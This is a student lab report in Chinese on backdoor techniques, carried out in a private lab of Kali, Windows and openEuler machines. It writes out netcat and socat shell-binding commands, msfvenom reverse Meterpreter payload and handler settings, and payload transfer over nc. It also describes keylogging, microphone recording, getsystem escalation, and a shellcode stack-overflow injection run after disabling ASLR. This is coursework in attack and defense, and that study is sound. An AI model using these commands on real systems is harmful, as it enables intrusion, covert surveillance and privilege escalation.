20242418 2026-2027-1《网络与系统攻防技术》实验二实验报告
20242418 2026-2027-1《网络与系统攻防技术》实验二实验报告
实验二:后门原理与实践
1. 基础知识
本实验围绕后门通信、远程命令执行、自动启动、会话管理、可执行载荷及内存防护机制展开。相关概念与实验验证点如下。
1.1 核心概念与验证对象
|
概念 |
基本原理 |
实验过程中的对应证据 |
|
后门与远程 Shell |
网络通道与命令解释器关联,使远程输入得到目标系统执行结果。 |
netcat / socat 执行 whoami、pwd、id |
|
反向连接 |
目标端主动连向监听端,由控制端接收会话。 |
MSF handler 显示 session opened |
|
持久化 |
借助定时、启动项或服务机制实现自动再次执行。 |
cron 与 Windows 计划任务写入日志 |
|
Meterpreter |
提供交互式会话、信息查询及可用扩展功能。 |
sysinfo、getuid、record_mic、keyscan 等 |
|
Shellcode 与 BOF |
输入覆盖程序执行流后,特定字节序列在目标运行环境中被执行。 |
实验一 pwn1 与任务五连接验证 |
|
内存防护 |
ASLR 使内存地址布局不固定;可执行栈属性影响是否可在栈上执行代码。 |
readelf GNU_STACK、ASLR 调整与测试现象 |
1.2 实验流程与工具分工
基础通信验证 → Shell 输入输出绑定 → 定时任务原理验证 → 载荷与监听参数核对 → 网络传输 → 会话与身份验证 → 环境检查与恢复
|
工具 / 机制 |
主要作用 |
关注点 |
|
netcat(nc) |
建立 TCP 连接并传递字节流 |
监听端口、输入输出重定向、工具版本 |
|
socat |
在网络、进程及标准输入输出之间建立双向通道 |
TCP-LISTEN、EXEC、fork |
|
cron / schtasks |
周期性自动执行任务 |
任务是否真实触发,而非仅创建成功 |
|
msfvenom / multi/handler |
生成测试载荷 / 接收会话 |
架构、staged/stageless、LHOST、LPORT |
|
readelf / objdump / xxd |
检查 ELF 架构、栈属性、机器码 |
不能将 raw shellcode 与 ELF 可执行文件混淆 |
1.3 分阶段载荷与栈防护
|
项目 |
含义与区别 |
实验意义 |
|
Staged |
先运行较小的初始阶段,再加载后续阶段。 |
Linux ELF 早期测试出现异常,需要分析加载链路。 |
|
Stageless |
完整载荷放在同一个文件中,文件通常较大。 |
后续 Linux Meterpreter 验证成功。 |
|
ASLR |
地址空间随机化,使栈等位置不易固定预测。 |
复用旧栈地址时可能发生段错误。 |
|
GNU_STACK RWE |
ELF 的栈段具备读、写、执行权限标记。 |
满足传统栈上机器码运行的必要条件之一。 |
1.4 安全检查与实验边界
|
排查维度 |
重点对象 |
目的 |
|
网络 |
异常监听端口、长期出站 TCP 连接 |
判断是否存在可疑通信通道 |
|
进程与文件 |
不明 ELF/EXE、可疑启动命令 |
识别可疑程序来源和运行状态 |
|
自动启动 |
crontab、计划任务、系统服务 |
检查是否存在非预期持久化 |
|
权限与防护 |
提权行为、安全软件拦截、系统审计日志 |
判断异常权限变化并保留处置证据 |
“免杀”通常涉及编码、混淆、封装或加载路径变化等对静态检测特征的影响;这些机制不等于程序无害,也不保证能够规避行为检测。本实验保留了 Windows 浏览器对测试文件发出的风险提示,不以关闭真实主机防护作为完成实验的必要手段。
2. 实验内容
本次实验的核心任务共有五项:①使用 netcat 获取主机操作 Shell,并用 cron 启动某项安全任务;②使用 socat 获取主机操作 Shell,并验证任务计划启动;③使用 MSF 生成可执行后门文件,并传送到主机后运行以获取主机 Shell;④使用 Meterpreter 生成 Windows 后门,验证音频、摄像头、击键记录等能力,并尝试提权;⑤使用 MSF 生成 shellcode,注入到实验一中的 pwn1 程序中,获取反向连接 Shell。
在此处声明,本次实验的实际环境是:Kali Linux 作为控制端;Windows 宿主机和 openEuler 虚拟机作为被测环境。其中,Windows 端主要承担计划任务、Meterpreter EXE 会话和权限提升实验;openEuler 端主要承担 Linux ELF 载荷与会话实验;实验一中的 pwn20242418 则承担任务五的 shellcode 注入。
3. 实验过程
3.1 任务一:使用 netcat 获取主机 Shell,并用 cron 验证自动启动
我学习到,不直接做“远控”效果,而是先验证两个前提:第一,网络连接是否能传递普通数据;第二,命令解释器是否真的会把收到的文本当成命令执行。确认 Kali 和 Windows 互通后,我在 Kali 侧用 netcat 监听 4444 端口并绑定 /bin/bash,再在 Windows PowerShell 侧用 TcpClient 连接。最开始我直接用 WriteLine() 发送命令,结果 Kali 端报 “whoami command not found”,这说明 Windows 默认的 CRLF 换行会让 Linux Bash 多读到一个回车字符。后来我改成手工发送以 LF 结尾的字节流,whoami、pwd、id 都成功返回。
Kali:
nc -l -p 4444 -e /bin/bash
Windows PowerShell:
$client = New-Object System.Net.Sockets.TcpClient("192.168.153.129",4444)
$stream = $client.GetStream()
$reader = New-Object System.IO.StreamReader($stream)
$cmds = @("whoami","pwd","id")
# 发送时手工追加 LF:$cmd + "`n"

图 1 Windows PowerShell 通过 TCP 发送命令并获得 Kali 的 whoami、pwd、id 返回结果
随后我切换到 cron 持久化验证。刚开始没有让 cron 真正启动后门,而是让它每分钟向日志文件追加一次当前时间。这样做的考虑其实有两个:一是风险更可控,不会留下多余会话;二是能更清楚地展示“自动执行机制”的本质。执行后我先手动写入一条时间验证命令本身可用,再通过 crontab -e 写入周期任务,最后观察日志内容不断增加,证明定时执行成功。
mkdir -p ~/lab2_cron_test
cd ~/lab2_cron_test
date >> ~/lab2_cron_test/cron_log.txt
crontab -e
* * * * * date >> /home/kali/lab2_cron_test/cron_log.txt

图 2 cron 日志随时间新增多条记录,证明定时任务实际执行
3.2 任务二:使用 socat 获取主机 Shell,并验证 Windows 计划任务
完成 netcat 后,我继续用 socat 做同样的 Shell 验证,目的是比较两种工具的差别。先确认 Kali 中 which socat 能找到 /usr/bin/socat,然后在 Kali 监听 6666 端口,把 EXEC:/bin/bash 绑定进去,Windows 侧继续使用 TcpClient 连接并发送命令。由于前面已经踩过 CRLF 的坑,所以这一步我直接采用 LF 方式发送命令,因此 whoami、pwd、id 一次成功。通过这个对比,我更清楚地理解到:工具界面不同,但本质都是“网络连接 + 标准输入输出/进程重定向”。
Kali:
socat TCP-LISTEN:6666,fork EXEC:/bin/bash
Windows PowerShell:
$client = New-Object System.Net.Sockets.TcpClient("192.168.153.129",6666)
# 其余发送逻辑与任务一类似

图 3 socat 绑定 Bash 后取得 whoami、pwd、id 的执行结果
计划任务部分,我依旧采用“安全验证自动启动”的思路:先让 PowerShell 手工向 task_log.txt 写入时间,确认命令本身可执行;再尝试把带管道的命令直接写进 schtasks 的 /TR 参数。这个方案虽然创建任务成功,但日志没有继续追加,说明“创建成功”并不等于“执行正确”。其实我据此判断是 /TR 中管道与重定向的解析出了问题,于是改用单独的 write_log.ps1 脚本,再由计划任务调用该脚本。之后日志每分钟都有新增时间,验证通过。
schtasks /Create /TN "Lab2TaskLogTest" /SC MINUTE /MO 1 /TR "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Users\23677\lab2_task_test\write_log.ps1" /F

图 4 Windows 计划任务调整为执行脚本后,日志持续追加时间
3.3 任务三:使用 MSF 生成后门文件、传输到主机并获取 Shell
任务三是本次实验的转折点。最开始我完全按视频思路在 Windows 端做 Meterpreter EXE,但下载阶段被浏览器和系统防护机制明显拦截。我把这视为有效的安全结果,同时改用 openEuler 虚拟机作为 Linux 靶机,继续去验证“生成—传输—执行—反弹—进入会话”这条完整链路。
在 Linux 载荷生成阶段,我先用 linux/x64/meterpreter/reverse_tcp(staged)生成 ELF,发现文件很小,运行后 openEuler 直接出现段错误。我据此怀疑:staged 形式在当前环境下拉取后续阶段不稳定,因此改用 linux/x64/meterpreter_reverse_tcp(stageless),生成得到约 1.1MB 的 ELF 文件。与此同时,我在 Kali 的 multi/handler 中把 payload、LHOST 和 LPORT 设置成完全一致,避免监听端与文件端不匹配。
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.153.129 LPORT=5555 -f elf -o 20242418_meterpreter_linux.elf
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set LHOST 192.168.153.129
set LPORT 5555
run

图 5 Linux x64 Meterpreter 使用 stageless 类型,handler 参数与载荷一致
因为可以使用 ncat 或 socat 传送后门文件,我当前环境中已有 netcat(命令名 nc)工具,我做了基于 TCP 的文件传输验证。这里我特别注意到一个细节:仅仅执行 nc -l -p 7777 并不代表文件会自动传输,还必须通过标准输入重定向把 ELF 文件喂给发送端,同时在接收端把网络数据重定向保存为目标文件。第一次我就因为忽略这一点,导致接收端得到 0 字节空文件;修正命令后,接收端成功得到约 1.1MB 的 ELF。
Kali 发送端:
nc -l -p 7777 < 20242418_meterpreter_linux.elf
openEuler 接收端:
nc 192.168.153.129 7777 > 20242418_meterpreter_linux.elf

图 6 Kali 端把 ELF 文件重定向到 nc 的标准输入,作为文件发送数据源

图 7 目标端把来自 7777 端口的网络字节流保存为同名 ELF

图 8 接收端观察到约 1.1 MB 的非空文件,证明已有数据落地


为了进一步验证文件传输的完整性,我分别在 Kali 发送端和 Linux 接收端对 20242418_meterpreter_linux.elf 执行 sha256sum 命令进行校验。实验截图显示,两端文件大小均约为 1.1 MB,且计算得到的 SHA256 校验值完全一致。这说明接收端获得的文件与发送端原始文件内容一致,传输过程中未发生数据丢失或内容改变,证明本次 netcat 文件传输及完整性验证成功。至此,我不仅确认了文件能够通过 TCP 连接传输,还通过哈希校验验证了接收文件的完整性。
在独立的 Linux Meterpreter 会话验证阶段,目标端运行 ELF 后,Kali 的 multi/handler 显示 session opened。我使用 sessions -l 查看会话,并通过 sessions -i 1 进入交互环境,执行 sysinfo、getuid、pwd、ipconfig 对照系统身份、目录与网卡信息。

图 9 Linux Meterpreter 会话建立并可通过 sessions -i 1 进入

图 10 Linux 会话中的 sysinfo、getuid、pwd、ipconfig 验证结果
3.4 任务四:Windows Meterpreter 会话、音频/键盘记录与提权
任务四回到 Windows 宿主机,继续完成 Meterpreter 扩展功能验证。这一部分我首先重新生成 Windows 载荷,并通过 Kali 的 HTTP 服务提供下载。

图 11 Windows PowerShell 下载测试 EXE,并显示 238080 字节的文件信息

图 12 Kali handler 显示 Windows x64 Meterpreter 会话建立
进入 Meterpreter 会话后,我依次测试了 record_mic、webcam_snap、keyscan_start、keyscan_dump、keyscan_stop 等命令。实验结果表明,录音功能能够正常启动和停止,并在 Kali 中生成 WAV 音频文件。执行 webcam_snap 时,系统返回 “Target does not have a webcam”。因为本次实验的目标系统为 Windows 10 虚拟机,虚拟机未配置或映射摄像头设备,因此无法完成摄像头拍摄。与此同时,键盘记录功能能够捕获测试输入内容,说明 keyscan 模块正常生效。通过本次验证,我认识到,Meterpreter 各项功能的执行效果不仅取决于会话是否建立,还受到目标系统硬件配置及运行环境的限制。

图 13 任务四音频保存、摄像头不可用提示和键盘输入测试结果
在权限验证阶段,我先通过 getuid 查看当前用户身份,再尝试执行 getsystem,但首次操作返回 1346 错误,提权失败。分析后,我判断可能与 Windows UAC 和程序运行权限有关。随后,我在 Windows 10 虚拟机中右键选择“以管理员身份运行”重新启动后门程序,并在 Kali 端重新建立 Meterpreter 会话。再次执行 getsystem 后提权成功,getuid 显示 NT AUTHORITY\SYSTEM。这让我学习到,成功建立远程会话并不代表拥有系统最高权限,提权效果还受到程序运行权限的影响

图 14 getsystem 返回成功,getuid 显示 NT AUTHORITY\SYSTEM(细红框标出关键结果)
3.5 任务五:将 MSF shellcode 注入实验一 pwn1,获取反向连接 Shell
任务五与实验一的联系最紧密。先回到实验一已经完成的 pwn 程序,确认可用于复现的文件是 pwn20242418,并检查其属性是否与实验一结论一致。通过 readelf 我看到 GNU_STACK 一项带有 RWE,说明栈具备可执行属性;通过 sha256sum 我又确认任务五目录中的 pwn20242418_task5 与原始实验一程序内容一致,这样可以保证后续 shellcode 注入建立在原来的实验基础上,而不是重新换了一个程序。

图 15 确认 pwn20242418_task5 为 32 位 ELF、栈属性为 RWE,且哈希与原文件一致
随后我使用 msfvenom 生成 linux/x86/shell_reverse_tcp 的原始 shellcode,并把它与实验一已经验证过的栈溢出结构拼接:前 32 字节作为填充,接着覆盖返回地址为实验一测得的 0xffffcf60,再放入 200 字节 NOP 滑道,最后接上 shellcode 本体,写出 final_payload.bin。为了避免机械拼接,我还用 Python 检查了原始输入长度、返回地址位置、NOP 滑道长度和 shellcode 的长度,确认结构确实符合实验一的栈布局。

图 16 任务五原始载荷拼接记录和 MSF 监听端会话提示
首次执行 payload 注入时,目标程序触发segmentation fault,未能建立预期的反弹会话。经排查,核心原因是系统开启了 ASLR(地址空间布局随机化)机制,栈内存地址动态变化,导致实验一的固定返回地址失效。我将 randomize_va_space 置 0 关闭地址随机化后重新注入,MSF 监听端成功收到反弹 Shell 会话。其实现象与实验一固定栈地址的溢出逻辑完全吻合,当然也验证了 ASLR 对传统栈溢出攻击的防护作用。
最后进入 command shell session,依次执行 id、ls、whoami、pwd,验证当前会话就是由 pwn20242418_task5 触发得到的反向 Shell。命令结果表明当前身份为 kali,当前目录为 /home/kali/lab2_task5,同时目录下确实存在我在任务五中创建的各类 payload 文件,这说明反向连接与任务五环境完全对应。

图 17 反向 Shell 会话中 id、ls、whoami、pwd 返回正常结果(细红框标出关键结果)
4. 问题及解决方案
4.1 Windows 与 Linux 换行符不一致
问题一:Windows 端发送 whoami、pwd、id 后,Kali 的 Bash 报“command not found”,而网络连接本身已经建立。
问题一解决方案:错误集中发生在命令末尾,我结合 PowerShell 的 WriteLine() 行结束符习惯,判断问题可能是 CRLF 中的回车字符被 Bash 当作命令内容。保留 TCP 连接方式,将发送逻辑改为明确添加 Linux 可识别的 LF;再次测试相同基础命令。修正后 whoami、pwd、id 均有正常回显。这个过程说明连通性、输入字节格式和命令解释属于不同层次,必须分别验证。

图 18 Kali 报 whoami、pwd、id 命令无法识别,作为首次失败证据
4.2 Windows 计划任务创建成功但日志不增长
问题二:直接把 Get-Date | Out-File 写进 schtasks /TR,创建任务成功,日志却没有持续新增内容。
问题二解决方案:“创建成功”只说明系统接受了任务配置,不能证明其中的管道和重定向已按预期解析;我因此把关注点从任务状态转向动作内容。将写日志命令独立放进 write_log.ps1,计划任务改为调用该脚本文件,再检查日志。日志随后出现连续追加的时间记录。以后验证自动执行任务时,我会同时观察任务是否存在与实际输出是否改变。

图 19 最初 schtasks 方案执行后日志停留在原有一条记录
4.3 Linux staged 载荷段错误与会话失效
问题三:初次生成的 staged ELF 在目标系统运行后发生段错误,另一次 handler 显示 Command shell session is not valid。
问题三解决方案:我先核对文件体积、载荷类型、处理程序的 payload、LHOST/LPORT 与旧 session/job 状态。staged 与 stageless 的加载路径不同,但现有证据不足以断定段错误的唯一原因。改为 stageless 类型并重新统一监听端的 payload 配置;清理旧会话后复测。后续已出现 x64/linux Meterpreter 会话,可执行 sysinfo 等基本命令。对这类问题应先校验两端参数,避免盲目重复运行。

图 21 早期 staged Linux ELF 运行时出现“段错误(核心已转储)”
4.4 netcat 存在进程但端口并未监听
问题四:执行 nc -l 7777 后能看到 nc 进程,然而 ss 查询不到 7777 监听状态。
问题四解决方案:我查阅当前 netcat 的 -h 帮助,发现其版本为传统 netcat,对监听端口参数的要求与我最初采用的写法不同。改为该版本支持的显式端口监听格式,重新检查 ss 结果。随后 7777 端口在 ss 中出现 LISTEN,说明命令进程存在和监听套接字存在不能画等号。

图 22 nc -h 显示该版本的监听参数格式,帮助定位监听失败原因
4.5 7777 端口监听成功但 ELF 接收为空文件
问题五:第一次我已经观察到监听进程,却在接收端看见同名文件大小为 0 字节。
问题五解决方案:我忽略了网络监听只负责等待连接,不会自动把当前目录的 ELF 内容发出;而接收重定向本身可能先创建一个空文件。检查发送端是否明确从所需文件提供数据源,并在接收端检查字节数与文件大小。修正后接收端出现约 1.1 MB 文件,完成了非空传输验证;由于没有哈希对照,不把该截图夸大成“逐字节完整性已核验”。

图 23 首次接收后 ELF 文件大小为 0 字节,说明监听成功不等于文件传输成功
4.6 任务五复用旧栈地址后出现段错误
问题六:构造并运行 final_payload.bin 后,目标程序第一次出现 segmentation fault;同一监听端后来建立 Command shell session。
问题六解决方案:执行echo 0 | sudo tee /proc/sys/kernel/randomize_va_space命令,临时关闭系统地址随机化,固定栈内存布局,使返回地址与栈上 payload 位置精准匹配。

图 26 第一次运行出现段错误;随后记录 ASLR 设置调整及再次运行
5. 实验问题回答
5.1 一种后门进入系统的可能途径
最常见的一种方式是攻击者先通过钓鱼邮件、恶意附件、伪装安装包或漏洞利用让目标主机落地一个可执行文件,再借助该程序主动向控制端发起反向连接,从而建立远程会话。就我本次实验来看,“先生成载荷文件—再通过网络传到目标—再触发运行”就是一个非常典型的进入路径。
5.2 Windows 与 Linux 下的自动启动方式
Windows 侧常见方式包括计划任务、启动项、服务、注册表 Run 键、WMI 事件订阅等;Linux 侧常见方式包括 cron、systemd 服务、rc.local、shell 配置文件、自启动脚本等。本次实验我实际验证了 Linux 的 cron 和 Windows 的计划任务,证明系统原生自动化机制一旦被滥用,就可以成为后门再次启动的触发器。
5.3 印象深刻的 Meterpreter 功能
给我印象最深的是信息收集(sysinfo、getuid、pwd、ipconfig)、文件传输、录音(record_mic)、键盘记录(keyscan_start / keyscan_dump)、摄像头访问(webcam_snap)以及提权(getsystem)。这些功能让我直观感受到:Meterpreter 并不仅仅是一个“能连上来”的 shell,而是带有完整后渗透能力的交互式载荷。
5.4 如何检查系统是否存在后门
我认为应从“文件—进程—端口—自动启动项—网络连接”五个方面综合检查。具体来说,可以看是否存在来路不明的 EXE/ELF 文件,是否有异常的 nc/socat/powershell/msf 进程,是否出现陌生监听端口或异常出站连接,是否新增了 crontab 或计划任务,是否在日志中出现可疑的反复连接与命令执行痕迹。其实结合本次实验,比如像 5555、6666、7777 等端口监听,任务计划中异常脚本路径,或实验目录中突然出现的 Meterpreter 文件,都属于值得重点排查的线索。
6. 学习感悟与思考
本次实验让我最明显地感受到,理解工具的工作机制比记住命令更重要。netcat 和 socat 的成功回显,不能替代对输入字节、端口状态和进程绑定关系的理解;计划任务创建成功,也不能替代对真实日志变化的验证。
在任务三的补充传输实验中,7777 端口明明处于监听状态,接收端却只有 0 字节文件。当时我才真正意识到,监听、发送、接收和文件落地是不同步骤。后来把它们逐一检查后,两端文件大小均约为 1.1 MB,且计算得到的 SHA256 校验值完全一致。我学会给“传输成功”设定更严格的证明标准,而不是凭感觉判断。
最有收获的是后半部分的两个问题。首先,Windows 的 getsystem 并不因为命令存在就必然生效,程序运行权限会改变可得到的结果;其次,任务五借用了实验一的固定栈地址,但这次运行环境发生变化,第一次出现了段错误。我开始学会区分“观察到的结果”和“推测的原因”,不再把一次现象当成完整结论。
从防御视角出发,这些实验也给了我更具体的检查思路:异常网络端口需要对应到进程,长期运行的任务需要对应到来源,陌生可执行文件应核实其路径与哈希,权限变化更要结合日志确认。实验完成后,应主动检查并恢复相关环境配置。今后的实验记录,我会继续同时保存成功与失败截图,让排错过程和最终判断都经得起复核。
7. 参考资料
• 课程指导视频:《实验二 后门原理与实践-20232409毕悠尘》;《实验二(任务1视频)》;《实验二(任务2视频)》。
• 实验一既有结果:pwn20242418 / pwn20242418_task5 的栈溢出复现记录与 shellcode 注入结果。

浙公网安备 33010602011771号